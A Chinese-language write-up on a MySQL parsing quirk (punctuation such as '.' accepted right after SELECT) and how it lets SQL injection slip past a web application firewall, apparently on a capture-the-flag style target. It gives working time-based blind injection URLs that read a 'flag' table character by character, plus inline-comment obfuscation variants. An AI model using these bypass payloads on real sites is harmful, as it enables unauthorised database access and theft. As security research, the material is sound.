一个mysql特性到waf绕过

一次测试的过程中在mysql的console下做了如下的操作: 



发现报错的时候例如-+{等符号 报错的时候提示的是''(双引号里没东西),但是如select后面添加1 a等内容的时候报的是 selecta,select1等等
证明-+{等等内容是能够直接添加到select后面的
例如
  1. select-1
  2. select+1
  3. select{x 1};
  4. select.
现在确定了的形式,此时想要做的是怎么闭合这个语句,使得该语句能够正常的执行。

  1. mysql> select.`1`.a;
  2. ERROR 1109 (42S02): Unknown table '1' in field list

提示的是
Unknown table '1' in field list

然后我就做了如下的操作:


成功了使用的语句是: 
  1. select.``.schema_name from information_schema.schemata;
就这样证明了select后面直接跟.也是可以的。

整理下思路:
1:输入'报错,一个like的查询语句,初步判断里面没有内容,然后没有回显,而sql报错的时候不是mysql自己的报错,基本不能使用union,和报错注入,考虑时间盲注。
2:由于基于时间盲住了因此就会有类似这样的模式:
if(你这样,睡几秒,不睡)

貌似and都不能用,于是就直接使用运算符号吧: 
  1. http://rile.gou.gg/search?query=1%27>(select[])
在这里的时候输入各种玩意都返回报错,后来试了下select.成功。得到如下的payload
  1. http://rile.gou.gg/search?query=1%27>(select.``.schema_name from (select.``.schema_name,if(ascii(mid((select * from test.flag),1,1))=102,(benchmark(5000000,sha(1))),1) from information_schema.schemata)x)%23
另外一种绕过方法:
      
  1. http : //rile.gou.gg/search?query=1' || if(ascii(substr((/*!select*/ */*a!*/from test.flag),1,1))=97,1,0)%23
  2. http : //rile.gou.gg/search?query=1' || if(ascii(substr((/*!select*/ */*a!*/from test.flag),1,1))=97,1,1)%23